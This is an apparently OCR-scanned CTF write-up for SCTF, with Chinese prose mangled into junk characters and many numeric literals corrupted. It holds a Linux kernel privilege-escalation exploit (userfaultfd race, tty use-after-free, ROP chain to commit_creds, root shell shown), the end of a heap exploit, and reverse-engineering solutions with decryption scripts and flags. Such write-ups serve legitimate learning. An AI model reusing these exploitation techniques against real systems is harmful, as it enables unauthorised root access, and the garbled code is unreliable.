142 delete_user(b'b")

143 print(hexdump (dump))

144 values = [u64(dump[i: i + 8]) for i in range(®, len(dump), 8)]

145 for value in values:

146 if (value & Oxfff) == (free_addr & Oxfff) and (value >> 40) ==
Ox7f:

147 found = True

148 print('possible free: ' + hex(value))

149 check_key(value - free_addr + puts_addr, b'sh')

150 break

151 if found: break

152 # input()

153 if found: break

154 else:

155 print('error')

156 p.close()

157 exit()

158

159 p.interactive()

160

AT D ECLLIRBEN, B— XS, &ERBeA&check_keyRIHITaR <, BEXERT LN,
MiTaL—EXM, &EAIEContentIHZ M T MX00, ZARZANRMEETHY, EXEgomn<LHE
AEWITT , KEEBMR.

kno_puts revenge
RIEE—R flag, MIZEE kaslr 5iad, B#eKu] LIEEE /sys/kernel/notes



5.4.272 9%, = init B4, BILAR userfaultfd £1F write, RiZB]LASEIN UAF B3R, BEA
1]\ Ox2EQ RZZIESFHREST tty:

// author: @eastXuelian
// usage : eval SbuildPhase
// You can refer to my nix configuration for detailed information.

#include "libLian.h"
#include <stdint.h>
#define OFFSET 0x84
#define NUM_BYTES 8
#define LEAK_FILE "/sys/kernel/notes"

© o N o 0~ W N R

e
[ENG)

extern size_t user_cs, user_ss, user_rflags, user_sp;
int fd, tty_fd;

size_t kaslr_offset;

size_t buf[8];

size_t heap_chunk_addr;

e S R S
o A W N

size_t fake_op_addr;
size_t mov_rsp_rax_ret = oxffffffff8lcOl4aa;
size_t push_rsi_pop_rsp = oxffffffff81599a34;

=
o ~

19 size_t pop_rax_ret = oxffffffff8101040e;
20

21 void segfault_handler(int sig) {

22 success ("Returning root shell:");
23 get_shell();

24 exit(0);

25 }

26

27 static void *fault_handler_thread(void *arg) {
28 static int fault_cnt = 0;

29 char *page = malloc(0x1000);

30 static struct uffd_msg msg;

31 struct uffdio_copy copy;

32 struct pollfd pollfd;

33 long uffd;

34 bind_cpu(0);

35

36 uffd = (long)arg;

37 pollfd.fd = uffd;

38 pollfd.events = POLLIN;

39

40 while (poll(&pollfd, 1, -1) > 0) {
41 read(uffd, &msg, sizeof(msg));
42 log(fault_cnt);

43



44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

switch (fault_cnt++) {

case 0: {
((size_t x)page) [0] = 0x100005401;
((size_t x)page)[1] = 0;
((size_t x)page)[2] = heap_chunk_addr + 0x70;
buf[5] = 0; // v4
joctl(fd, oxfffl, buf);
tty_fd = open("/dev/ptmx", O_RDWR);
success("Should UAF tty");
buf[5] = (size_t)&fake_op_addr; // v4
joctl(fd, oxfffo, buf);
log(fake_op_addr);
((size_t x)page)[3] = fake_op_addr;
size_t fake_op_buf[0x2e0 / 8];
for (int i = 0; i < 0x10; i++)

fake_op_buf[i] = push_rsi_pop_rsp + kaslr_offset;

fake_op_buf[0] = pop_rax_ret + kaslr_offset;
fake_op_buf[1] = fake_op_addr + 0x100;
int j = 0x100 / 8;
fake_op_buf[j++] = Oxdeadbeefll;
fake_op_buf[j++] = Oxdeadbeefll;
fake_op_buf[j++] = Oxdeadbeefll;
write(fd, (char x)fake_op_buf, 0x2e0);
break;

}

}

copy.src = (size_t)page;

copy.dst = (size_t)msg.arg.pagefault.address & ~(0x1000 - 1);

copy.len = 0x1000;

copy.mode = 0;

copy.copy = 0;

joctl(uffd, UFFDIO_COPY, &copy);

}
return NULL;
}
void register_userfaultfd(void *addr, unsigned long len,

void *(xhandler) (void x)) {
struct uffdio_api uffdio_api;



91

92

93

94

95

96

97

98

99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137

struct uffdio_register uffdio_register;

pthread_t monitor_thread;
long uffd;

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK)
uffdio_api.api = UFFD_API;

uffdio_api.features = 0;

joctl(uffd, UFFDIO_API, &uffdio_api);

uffdio_register.range.start = (unsigned long)addr;

uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
joctl(uffd, UFFDIO_REGISTER, &uffdio_register);

pthread_create(&monitor_thread, NULL, handler, (void *)uffd);

void leak_from_kerner_notes() {

FILE *file = fopen(LEAK_FILE, "rb");

if (file
errExit("Error opening file");

int

}

== NULL) {

if (fseek(file, OFFSET, SEEK_SET) != 0) {

errExit("Error seeking in file");

}

uint8_t buffer[NUM_BYTES];
size_t bytesRead = fread(buffer, 1, NUM_BYTES, file);
if (bytesRead != NUM_BYTES) {

erreExit("readfile failed");

}

fclose(file);
size_t value = 0;
for (int i = 0; i < NUM_BYTES; 1i++) {

value |

}

((size_t)buffer[i] << (8 x 1));

kaslr_offset = value - 0x1949480 - Oxffffffff81097d00;
log(kaslr_offset);

main()

{

save_status();
signal (SIGSEGV, segfault_handler);
bind_cpu(0);

leak_from_kerner_notes();

fd = open("/dev/ksctf", 2);

buf[0]

Oxdealbeelcaflbadil;



138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184

buf[1] = Oxdea2bee2caf2bad2;

buf[2] = Oxdea3bee3caf3bad3;

buf[3] = Oxdead4beedcaf4bad4;

buf[4] = Oxdea5bee5caf50001; // bypass password
buf[5] = (size_t)&heap_chunk_addr; // v4

ioctl(fd, Oxfffo, buf);
log (heap_chunk_addr) ;

char xuffd_page =
mmap (0, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
log(uffd_page);
register_userfaultfd(uffd_page, 0x1000, fault_handler_thread);
/* write(fd, uffd_page, 1); */
write(fd, uffd_page, 0x20);

getchar();

size_t pop_rdi_ret = Oxffffffff81003e98 + kaslr_offset;

size_t prepare_kernel_cred = Oxffffffff81098140 + kaslr_offset;

size_t commit_creds = Oxffffffff81097do0 + kaslr_offset;

size_t mov_cr4_rdi_ret = oxffffffff8103cd62 + kaslr_offset;

/* OXFfffffff81025ci8 : mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi
* ;5 ret */

/* OXTfffffff810035a6 : pop rbx ; ret */

size_t rop[0Ox100 / 8];
int i = 0

rop[i++]
rop[i++] = 0O;

pop_rdi_ret;

rop[i++] = prepare_kernel_cred;

rop[i++] = kaslr_offset + Oxffffffff810035a6;
rop[i++] = 0;

rop[i++] = kaslr_offset + Oxffffffff81025c18;
ropli++] = 0;

rop[i++] = commit_creds;

rop[i++] = pop_rdi_ret;

ropli++] = Ox6f0;

rop[i++] = mov_cr4_rdi_ret;

rop[i++] = kaslr_offset + Oxffffffff8105c8f0;
rop[i++] = kaslr_offset + Oxffffffff8109ca26;
ropli++] = (size_t)get_shell;

rop[i++] = user_cs;

rop[i++] = user_rflags;

rop[i++] = user_sp;

rop[i++] = user_ss;

write(tty_fd, rop, 0x100);

return 0;



185 }

XIEBHEREIINN, BART weet, FERERT

[+] Successfully get root shell.
[tmp # & 1s
[ ] Sent @x3 bytes:
b'ls\n'
[ ] Received 0x1 bytes:
b'l’
1[ 1 Received 0x2f bytes:
00000000 73 5b 31 3b 33 32 6d 65 78 70 5b 6d |s [1;3|2mex|p- [m
00000010 20 20 20 20 20 20 5b 30 3b 30 6d 65 78 70 2e [10;0m|exp.
00000020 62 36 34 5b 6d 2f 74 6d 70 20 23 20 b64- | [m--|/tmp| # |
0000002f
s
exp exp.b64
/tmp # ¢ cat ../flag
[ ] Sent @xc bytes:
b'cat ../flag\n'
[ ] Received 0x1 bytes:
b'c’
cl ] Received 0x43 bytes:
b'at ../flag\r\n'
b'SCTF{f3798bef67cb@ffd9d8f2f0f09c5704567730b3d}\r\n"
b'/tmp # '
at ../flag
SCTF{f3798bef67cbaffd9d8f2f0of09c5704567730b3d}
/tmp #

|
0 kernel S#2d 16h46n - TR

Reverse

Logindemo
B 1A stringDecrypt REUERE TERE XA
BIOEEEE—RITEEANER

Jadx OgHEXRBRIBER LR, FIEERLIEZEMN native BEF/NHIXHR

& H)—F stringDecrypt 753%
stringDecrypt("1e5f43796251534c5e03145f43", 79) dex_class.dex

stringDecrypt("19525c1d154347524342571515565e1d145f43796251534c5e", 79)
com.example.emm.dex_class

stringDecrypt("1a050207", 26) SCTF
stringDecrypt("7115151515151515" 26) 88888888



stringDecrypt("210915115f00150e160c0a141c020a14130d0d111d161clclc", 26)
http://47.109.106.62:9090

stringDecrypt("324c591a191d520d0d", 26) {"name":"
stringDecrypt("6b1b1b47040715110d0803530d0d", 26) ","password":"
stringDecrypt("6b4a", 26) "}
stringDecrypt("28041509101f170008131454500c0914", 26) application/json
stringDecrypt("6656161d1b12", 26) /login

FRIZIE

vl = com.example.sctfl.GoodCard.anything(edit_username+edit_password) # R 5N\
v2 = com.example.sctfl.LoginActivity.transform(v1)

v3 = com.example.sctfl.Getstr.getNothing(v2)

phone_number=v3

params =f"{"name":"SCTF","password":"88888888"} # {&R Ik = 23

payload = secretKey + "http://47.109.106.62:9090" + params

Signature = com.example.sctfl.SignatureGenerator.generateSignature(payload) # i@ base64

okhttp3.MediaType mt = okhttp3.MediaType.parse("application/json")
okhttp3.RequestBody rb = okhttp3.RequestBody.create(r0, params)

okhttp3.RequestSBuilder rebu = new
okhttp3.RequestSBuilder.url("http://47.109.106.62:9090/login").post(rb).addHearder(signature).
build()

okhttp3.Response res = new okhttp3.0kHttpClient().newCall(rebu).execute()

If r0.boby().string().isSuccessful() == 0:
Output HFBEFE! HEB/ DT T HELTEIR
Else:

RINE R

phone_number 3k H native BIEE & 289K K
secretKey & Java RETKRY, BR%E, L jebidid


http://47.109.106.62:9090/
http://47.109.106.62:9090/
http://47.109.106.62:9090/login
http://47.109.106.62:9090/login

22?2 JebXBEEET, HEWRELET, HEHRXETERFzHE

LoginActivity.this.secretKey =
Objects.requireNonNull(this.valSmethod.invoke(this.valSdexlib_obj,
LoginActivity.this.phone_number)).toString();

IR com.dex_class.say_hello & &8, SOCOZOYOW

RER, BEXHNZEREMF, —REI—RKK

1 b'b\x03g\x00c\x03k\x02ce\x04z\x07b\x06 \x03ba\x05q\x000\ta\x08dk\x06w\x01lo\tj\t

N \x03v\x02n\x06m\x04fd\x04z\x011\x01m\x03ed\x03qg\tk\x02h\tae\x04q\x02n\x02n\x0O
4df\tu\x01b\x08k\x08f  \x08w\x07c\x01h\x02fj\x08p\x01j\x040\thbb\x00p\ti\x08m\x03
Nk\tr\x01m\x05 \x08nb\x00u\x020\x02k\x04n \x02q\x080\x02n\x04 d\x01w\x05h\ta\ta
g\x01s\x00k\to\x01ej\x05t\tm\x05k\x08 k\x03r\x081i\x00m\x03ca\x08w\x06n\x050\x03
d \x02z\x03b\x03h\x03fc\tv\x03k\x041i\x04ej\tr\x02m\x07h\x04fa\x06{\x01k\x080\x0
6ac\x00t\x07k\x08 \tob\x03v\x01k\x07a\x02bd\x00r\x00h\x03 \x03fa\x00t\x061\t \x
00ag\tu\x081i\x041\tfe\x02s\x06m\x08a\x07cc\x08z\x03m\x01lo\x05ae\tw\x08j\x08h\x0
Of " \x03u\x01m\x08m\x01o \x03t\x07h\x05 \x05ad\x01u\x050\x07a\x0607\x06z\x03m\x0O
2h\x08cd\tz\x0517\x02a\x080d\x03u\x00h\x037\x02aa\x06s\to\x01 \x00cd\xO03t\x01lo\x
01m\x05bg\x05r\x030\t]\x02bj\x07u\x08h\x03k\x080a\x02p\x070\x06]\x030c\x07z\x00
m\x01a\x01nk\x05r\x04j\x0117\x01dd\x05u\x03n\x07n\x07eb\x07u\x011\x08a\x03dj\x05
z\x05m\x03n\tod\tt\x0317\x05h\x08ck\x00w\x021\x000\x06 g\x05w\x04c\x041i\te \x08s
\x00k\x04  \x01la \x02z\x06n\x061\x07dj\tz\x03m\x03k\x07df\x07w\x05m\tn\x04 a\x06
r\x07i\t1\x03gf\x07p\x03h\x05i\x01g \x08{\x05n\x061\x07ab\x07{\x06n\x03k\x02fk)\
x03t\tc\x03n\x02 c\x08t\x021\x06a\x04ba\x03v\x06b\x06h\x05dc\x08v\x06k\x031\x01
aj\ts\x07i\x00m\x00cg\x02u\x041\x02j\x08bf\x00r\x011i\th\x08aj\x06w\x00m\tj\x08b
a\x05p\x02c\x08h\x01cb\x05s\x04http://47.109.106.62:9090{"name" :"SCTF", "passwor
d":""88888888"}'

b'g\tt\x01h\th\x07ej\x01r\x05c\x020\x00ch\x02q\x05h\x040\x05db\x04z\x01h\x04  \x
02FF\x05r\x027\x011\x02ed\x01v\x01m\x04n\x08gg\x01s\x08c\x05a\x00be\x01t\tj\x06
a\x07da\x06v\x01h\x03 \x08fe\tq\x031\x08 \x02ce\tr\x01h\x06h\x07 " \x02{\x04m\x0
1k\x060d\x06w\x07k\x08k\x00 b\x06z\th\x01m\x080 \x03{\x081\x03n\x04db\x07v\x041
\X02 \x06cf\x03r\x061\x080\x03a" \ts\th\th\x01gg\x01v\x02k\x080\x07dg\x07u\x06b\
x02k\x05" f\x07v\x04n\x08 \td \x08p\x06n\x041\x0007\x03t\x08b\x01h\x00ad\x00p\x0O
20\x060\x02gg\x07r\x0417\tm\x08 k\x01w\x08h\x05]\x07ca\x05v\x011i\x06h\x01dd\x06r
\x0417\x037j\x08gk\x07g\x01n\tj\x02ab\x04p\x03k\x081\x04cj\x06z\x00h\x03h\x08dg\x
00u\x04m\x087j \x03ek\x06v\x08h\x05n\x00bg\x04{\x01m\x00h\x08cd\x01z\x04h\ta\x02d
a\x08q\x02c\x051\x03bf\x03v\x02b\x01m\x07bb\x08v\x01j\x06k\x01cf\x00v\x02n\x0O8]
\x07ab\x08v\x00n\x011i\toe\x01p\x02c\xO5h\x05bc\x00r\x04n\x04n\x08fg\x03v\x067j\x
03h\x07fe\x06p\x001\x01j\x03ne\x00{\tk\x071\x04bg\ts\x010\x00j\x05ge\x01p\x01lh\
X00M\x05¢ " \x07v\x000\x080\x04gg\x05{\x06h\th\x02ej\x05w\x05k\x01m\x060b\x01s\x0
6h\x070\x02 " d\x00g\x04n\x04j\x05db\x07s\x01j\x051\x04cc\x01q\x02m\x04j\tfc\x02v
\x03k\x0117\x05gd\x05t\x08n\x03m\x04ec\x03s\x08j\x07a\x05gb\x05z\x04b\x03h\x04gd
\x00r\x017\x01a\x02fj\tq\x00k\x021\x02bc\x02u\x04h\x07j\x08ec\x05u\x02c\x060\x0O
3fb\x01u\x08n\ti\x07na\x02s\x000\x067\x06ge\x03w\to\x001\x08nj\x03p\x041i\th\x04



b \x00r\x08h\x03 \x040k\x03p\x037j\x06h\x02fk\x01q\x05http://47.109.106.62:9090{
"name" :"SCTF","password":"88888888"}"'

Transform 757422 & i3k 100 AIGE#%E str() 1EE
Anything @—1"8&l, E¥ERENERE, LlE
WAKITRET , ©&4A x86 so KER B EAEINREE, BSENEGETAKITE

nl=
10669721913248017310606431714870563867652912174255756777085768772939744689879045
15774877239910831730102424168632380997160447756586819818214079227220527789589428
91831033512463262741053961681512908218003840408526915629689432111480588966800949
428079015682624591636010678691927285321708935076221951173426894836169

n2=
14481942446584230780635367254734412529071675353523965841788382894123250962283869
27619172118069630111688222816660336951574265158642655270462133261451743980188590

56439431422867957079149967592078894410082695714160599647180947207504108618794637
872261572262805565517756922288320779308895819726074229154002310375209

e=65537
c=114514114514114514114514114514114514114514114514

BEEXMNREFAHAERMTA
XA rust B

factordbZ, FNEBRZRLL (isPrimet@ I FH1T)
BEINEREE, W2, BBLEENMESBAREZ, BEBE—FpMq, rsa, £R,

1 from gmpy2 import invert

3 nl =
1066972191324801731060643171487056386765291217425575677708576877293974468987904
5157748772399108317301024241686323809971604477565868198182140792272205277895894
2891831033512463262741053961681512908218003840408526915629689432111480588966800
949428079015682624591636010678691927285321708935076221951173426894836169

4 n2 =
1448194244658423078063536725473441252907167535352396584178838289412325096228386



o N o U

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

9276191721180696301116882228166603369515742651586426552704621332614517439801885
9056439431422867957079149967592078894410082695714160599647180947207504108618794
637872261572262805565517756922288320779308895819726074229154002310375209

65537

D
I}

c =
b'b\x03q\x00c\x03k\x02ce\x04z\x07b\x06 \x03ba\x05q\x000\ta\x08dk\x06w\x0lo\tj\t
N \x03v\x02n\x06m\x04fd\x04z\x011\x01m\x03ed\x03q\tk\x02h\tae\x04q\x02n\x02n\x0O
4df\tu\x01b\x08k\x08f  \x08w\x07c\x01h\x02fj\x08p\x01j\x040\thbb\x00p\ti\x08m\x03
Nk\tr\x01m\x05" \x08nb\x00u\x020\x02k\x04n" \x02q\x080\x02n\x04" d\x01lw\x05h\ta\ta
g\x01s\x00k\to\x01ej\x05t\tm\x05k\x08 k\x03r\x081\x00m\x03ca\x08w\x06n\x050\x03
d \x02z\x03b\x03h\x03fc\tv\x03k\x041i\x04ej\tr\x02m\x07h\x04fa\x06{\x01k\x080\x0
6ac\x00t\x07k\x08 \tob\x03v\x01k\x07a\x02bd\x00r\x00h\x03 \x03fa\x00t\x061\t \x
00ag\tu\x081i\x041i\tfe\x02s\x06m\x08a\x07cc\x08z\x03m\x01lo\x05ae\tw\x08]j\x08h\x0
Of " \x03u\x01m\x08m\x01lo \x03t\x07h\x05 \x05ad\x01u\x050\x07a\x0607\x06z\x03m\x0
2h\x08cd\tz\x0517\x02a\x080d\x03u\x00h\x031i\x02aa\x06s\to\x01 \x00cd\x03t\x01lo\x
01m\x05bg\x05r\x030\t]j\x02bj\x07u\x08h\x03k\x080a\x02p\x070\x067\x030c\x07z\x00
m\x01a\x01nk\x05r\x047j\x01i\x01dd\x05u\x03n\x07n\x07eb\x07u\x011\x08a\x03dj\x05
z\x05m\x03n\tod\tt\x031\x05h\x08ck\x00w\x021\x000\x06 g\x05w\x04c\x041i\te \x08s
\Xx00k\x04 \x01la \x02z\x06n\x0617\x07dj\tz\x03m\x03k\x07df\x07w\x05m\tn\x04 a\x06
r\x07i\t1\x03gf\x07p\x03h\x057\x01g \x08{\x05n\x061\x07ab\x07{\x06n\x03k\x02fk\
x03t\tc\x03n\x02 c\x08t\x021\x06a\x04ba\x03v\x06b\x06h\x05dc\x08v\x06k\x031\x01
aj\ts\x0717\x00m\x00cg\x02u\x0417\x027j\x08bf\x00r\x01i\th\x08aj\x06w\x00m\tj\x08b
a\x05p\x02c\x08h\x01cb\x05s\x04"

k = b'SoCozoyow'
nc = b''
for i in range(len(c)):
nc += bytes([c[i] » k[i % len(k)]])
c = int(nc)

n=nl* n2
phi = (n1 - 1) x (n2 - 1)
invert(e, phi)

o
1l

m = pow(c, d, n)

assert not '000' din str(m)
m = str(m).split('00"')[:-1]
[int(i) for i in m]
bytes(m) .decode()

m

m

dummy = '0123456789abc'’
ret = '60718293a4b5c' # EALWIFFHE, HEKEZEHH java Eid—TFAEHTZx

flag = "'
for i in range(len(m)):



31 flag += m[ret.index(dummy[i])]
32 print(flag)

33

34

SGAME

mainBtR—It, WHbannerdaifFiE— Mptraceki@id. bannerdRz 5 AFIEIRkey rc4fEz
gameXff, FLFohfiEE, HEAN010, FIFMELFk, ERRIPERKELF, FEEEME MuacxXH,
BEIERLRERR \x1bLua , EEMNFRNGTET, HARS.4HRZA, EMTH. 4iF, bindifflkERF
5, AEE—R%W,

A maintZ &M, TIBXXHIEN. BE. NE, AREXRBN, F®EFEEinput_flagh, REHRITM
=Sl avi

LER T ERlvacAR AN luatE BRER, Bluac?FTHiEESKK, EE, KopcodellFHEE
X%7T. HIETIENdisptab, AL, AR—THEEFEIERNopcodelifF T, BRIEE
58, FHRERBERZ EluackBRM, MiRENLR—TRAMMRZFIZ T >> 8 HUIR(E

mowv rax, [rbp-gaDeh]

lea rdx, [raxt+s)]

mowv [rbp-eAD@h], rdx

mawv eax, [rax]

Mo [rbp-2BF8h], eax

mowv eax, [rbp-8BF&8h]
lfﬂr 2ax, o |

and eax, Jrn

mav eax, eax

lea rdx, ds:8[rax*s]

lea rax, disptab @

mawv rax, [rdxtrax)]

jmp loc_ 44933

sub 45387 endp

PR BIEIREEUR R BB T . BBABMERISEEEE MHIARFABRIER

1 def opcode_SGAME_to_Tlua(opcode):
2 A = opcode & Oxff

3 op = (opcode >> 8) & Ox7f
4 kBC = opcode >> 15

5 assert op < 83

6 if op < 55:

7 op += 11

8 elif op < 66:

9 op —= 55

10 else:

11 op = op

12 return op | (A << 7) | (kBC << 15)



13

14 Tluac = bytearray(open('out.luac', 'rb').read())

15 fixup_code_starts = [ Ox2e, 0x270, 0x3aa, Ox4bf, Ox552, Ox65b, Ox867, Ox9ff ]
16 nop_code_starts = [ 0x2fa ]

17

18 for start in fixup_code_starts:

19 size = luac[start] & Ox7f

20 index = start + 1

21 for i in range(size):

22 opcode = 1int.from_bytes(luac[index + 4 % i: dindex + 4 x i + 4],
'"Little'")

23 luac[index + 4 x i: dindex + 4 x i + 4] =
opcode_SGAME_to_lua(opcode) .to_bytes(4, 'little'")

24

25 for start in nop_code_starts:

26 size = luac[start] & Ox7f

27 index = start + 1

28 for i in range(size - 1):

29 luac[index + 4 x i: dindex + 4 x i + 4] = b'\x00' * 4 # nop

30 luac[index + 4 x (size - 1): 1index + 4 x size] = (0x47).to_bytes(4,
'"lTittle') # returno

31

32 open('out2.luac', 'wb').write(luac)

RMEMBELRERE (BEARRAEMRERS R uack®) , HiEnopiw,

RluaciiF s, BFHMELRREE. MEteaMZRBANOZkeyMIMBERMIT T, EiEAE
ZBIA,

1 def tea_encrypt(r0, rl):

2 r2 = ro[o]

3 r3 = roO[1]

4 ra = 0

5 r5 = 0x99999999

6 for r9 1in range(42):

7 r4 = r4 + r5 & Oxffffffff

8 r2 = (r2 + ((((r3 << 4) ~ (r3 > 5)) +r3) M (r4 + rl1[r4 & 3]))) &
Oxffffffff

9 r3 = (r3 + ((((r2 << 4) ~ (r2 > 5)) + r2) M (r4 + r1[(r4 >> 11) &
3]))) & oxffffffff

10 r2 A= 12

11 r3 A= 18

12 return [r2, r3]

13

14 def tea_decrypt(r@, rl):



15 r2 = rO[0] A 12

16 r3 = roO[1] A 18

17 r4 = 0x99999999 * 42 & Oxffffffff

18 r5 = 0x99999999

19 for r9 1in range(42):

20 r3 = (r3 = ((((r2 << 4) ~ (r2 > 5)) + r2) M (r4 + r1[(r4 >> 11) &
3]1))) & oxffffffff

21 r2 = (r2 — ((((r3 << 4) ~ (r3 > 5)) + r3) M (r4 + r1[r4 & 3]))) &
oxffffffff

22 r4 = r4 - r5 & Oxffffffff

23 return [r2, r3]

24

25 v = [

26 3633266294, 3301799896, 2704688257, 2306037448,

27 1267864397, 1132773035, 114101720, 3838684141,

28 4189720444, 4028672856, 277437884, 787003469

29 ]

30

31 k = [ 19088743, 2309737967, 4275878552, 1985229328 ]

32

33 s =b''

34 for i 1in range(0, len(v), 2):

35 vO, vl = tea_decrypt(v[i: i + 2], k)

36 s += vO.to_bytes(4, 'big')

37 s += vl.to_bytes(4, 'big')

38 print(s)

39

40 # SCTF{470b-a3e5c-9beb-60337-84ef2-5194d-aedc}

Ezgo

go, mifThR1.23, MAXREFRBERBBHET ., AT/, BRMAEMN1.23517, TR
1.20/8FERY; EREBEILUBI HReB R 2 ZRUflitRERE 7. HEgoERE MRAEA—K, WERE
RBBFSgo sampleE golEZRERER B FLITo

RIEEBHER, debug it patiently!!! , BESERIARN, MEAAHERZEmain.mainz
HIEY, IAEZRENYIBRKE, RABEmain.init

void main.init()
{
__1int64 vo; // ri4
__int6é4 i; // rax
__inte4 v2; // [rsp+6h] [rbp-40h]
_QWORD v3[7]; // [rsp+8h] [rbp-38h]
void xretaddr; // [rsp+40h] [rbp+Oh] BYREF

N oo 0 WN R



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

27

28

29

30

if ( (un

runtim
v3[0] =
v3[1l] =
v3[2] =
v3[3] =
v3[4] =
v3[5] =
for ( i1
{

v2 = 1

runtim

}

flag.len =

if ( run
sub_46
flag.dat

signed __int64)&retaddr <= *(_QWORD %) (vO + 16) )

e.morestack_noctxt();
off_4E00BO;

off_4EQOBS;

&off_4E00CO;

off_4E0Q0AS;

&off_4E00QCS;

&off_4E00DO;

= 0OLL; 1 <6; i =v2 + 1)

.
b

e.newproc(v3[i]);

OLL;
time.writeBarrier )
€980 ();
a = OLL;

flag._ptr_FlagSet.Var (mFlagSet, &off_4FF660, &flag, aFlag, 4LL, aYourFlag,

oLL);
if ( lar

runtim

gs_len )
e.panicSliceB(luLL, OLL);

flag._ptr_FlagSet.Parse(mFlagSet, args + (((1 - args_cap) >> 63) & 0x10),

args_len -

}

1, args_cap - 1);

R, BEEFTNEIE, KRBT, ME:

A W N B

O© 00 N O U

10
11
12
13
14
15

rcdkey = b

"hey_syclover2024'

has_debugger = False

target =

bytes.fromhex('f05b295fc35c2abc8a428fe7635cfdac747e6dd36713841bda607c3696a880da
5la7ece562fec9b5e1f90712b353b3c0311486d0c3d092de5a0dd1ff5b001d2e")

def change
global
rcdkey
rcdkey

_rc4dkey():
rcdkey
= rcdkey[::-1]
= rcdkey[: 4][::-1] + rcdkey[4: ][::

# rc4key = rcdkey[-4: | + rcd4key[: —4]

def rc4_update():

global

target

change_rc4key ()

target = ARC4.new(rcdkey).encrypt(target)

-1]



16
17 def proc_1_1():

18 chan_1_3.recvl()

19 # ptrace anti-debug

20 if not has_debugger:

21 rc4_update()

22 chan_1_5.send1()

23 chan_1_4.sendl1()

24

25 def proc_1_2():

26 chan_1_1.recvl()

27 # check linux_server and linux_server64 process
28 if not has_debugger:

29 rc4_update()

30 chan_1_2.send1()

31

32 def proc_1_3():

33 chan_1_2.recvl1()

34 # check port 23946

35 if not has_debugger:

36 rc4_update()

37 chan_1_3.send1()

38

39 def proc_1_4():

40 # check TracerPid

41 if not has_debugger:

42 rc4_update()

43 chan_1_1.send1()

44

45 def proc_1_5():

46 # check parent process comm including sh
47 assert not has_debugger
48

49 def proc_1_6():

50 global target

51 chan_1_4.recvl()

52 while True:

53 # sleep(2)

54 # time anti-debugger
55 if has_debugger:

56 target = bytes(i A 0x66 for i in target)
57

6B RE, TEFRRFSIN



main.init BIRIGE 7T SR, WiEflag@BdariTREE#HEN, FEMR sycgogogo -
flag flagflagflagflag XMAREIT,

B3¥F|main.main

O© 0o N oo b~ W N K

NN B B R B R R R e e e
H ® © o N O U1 D W N R O

22
23
24
25
26
27
28
29
30
31

32
33
34
35

36
37
38

void main.main()

__int64 vo; // ri4

_QWORD v1[2]; // kroo_16

__inte4 v2; // rcx

string v3; // krl0_16

_QWORD v4[2]; // kr20_16

__int64 v4_cap; // [rsp+8h] [rbp-38h] MAPDST
_QWORD v7[2]; // [rsp+18h] [rbp-28h] BYREF
_QWORD v8[2]; // [rsp+28h] [rbp-18h] BYREF
void *retaddr; // [rsp+46h] [rbp+Oh] BYREF

if ( (unsigned __int64)&retaddr <= *(_QWORD *)(vO + 16) )
runtime.morestack_noctxt();

if ( !flag.len )
runtime.gopanic(&type_string, &off_4FEA28);

*(_OWORD *)v1 = strings.genSplit(flag.data, flag.len, "_ ", 1LL, OLL, -1LL);

v3 = strings.Join(vi[0], vi[1], v2, OLL, OLL);

*(_OWORD *)v4 = main.encrypt(v3.data, v3.len);

runtime.chanrecvl(chan_1_5, OLL);

if ( cmp(&off_4FF360, (const char *)v4[0], v4[1], v4_cap, target.buf,

target.len, target.cap) )

{
v7[0] = &type_string;
v7[1] = &stru_4FEA38; // GG...
fmt.Fprintln(&off_4FF328, qword_593F38, v7, 1LL, 1LL);
}
else
{
v8[0] = &type_string;

v8[1] = runtime.convTstring(flag.data, flag.len);
fmt.Fprintf (& ff_4FF328, qword_593F38, aCongratulation, 42LL, v8, 1LL,

1LL);// congratulations, the flag is syclover{%s}

}

_OWORD __usercall main.encrypt@<rbx:rax>(const char *s_data@<rax>, __int64
s_len@<rbx>)

__1int64 v2; // ri4
char v5; // cl



39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

56
57
58
59
60
61
62
63
64
65

66
67
68
69
70
71
72
73

74
75
76
T
78
79
80
81

__int64 1i; // rbx MAPDST
_QWORD *v8; // rax

_QWORD *v9; // rax

_QWORD *v10; // rax

__int6e4 v11; // rbx
__1int128 result; // rbx:rax
_QWORD *EncryptedData_chan; // [rsp+Ah] [rbp-28h]

_QWORD *v15; // [rsp+12h] [rbp-26h] MAPDST
_QWORD *v16; // [rsp+l1Ah] [rbp-18h]

void xmWaitGroup; // [rsp+22h] [rbp-10h] MAPDST

void *retaddr; // [rsp+32h] [rbp+Oh] BYREF

if ( (unsigned

runtime.morestack_noctxt();
v16 = runtime.makeslice(&type_uint8, 0x40ulLL, Ox40ulLL);
mWaitGroup = runtime.newobject (&type_sync.WaitGroup);

__int64)&retaddr <= *x(_QWORD *)(v2 + 16) )

EncryptedData_chan = runtime.makechan(&type_chan.abcd3.EncryptData.ptr,

4uLL);
v5 = 1;
i = OLL

.
)

while ( 1)

{

if ( lv5 )

++7

.
)

if ( s_len <= 16 * i )
break;

sync._ptr_WaitGroup.Add (mWaitGroup, 1LL);

v1l5 =

string; X1 int; X2 chan abcd3.EncryptData }

*v15
v15[2

runtime.newobject (&qword_4CA840) ;

]

p

roc_2_1;
s_len;

if ( runtime.writeBarrier )
sub_46C9A0() ;

v1l5[1
v15[3
v15[4
v8 =

func (*sync.WaitGroup); X1 *sync.WaitGroup }

*v8 =

v8[1]
v8[2]

]
]
]

runtime.newobject (&qword_4C8020) ;

s_data;
1;

EncryptedData_chan;

sub_4B0OD40;
if ( runtime.writeBarrier )
sub_46C9A0() ;

v15;
mWaitGroup;

runtime.newproc(v8);

// struct { F uintptr; X0

// struct { F uintptr; X0



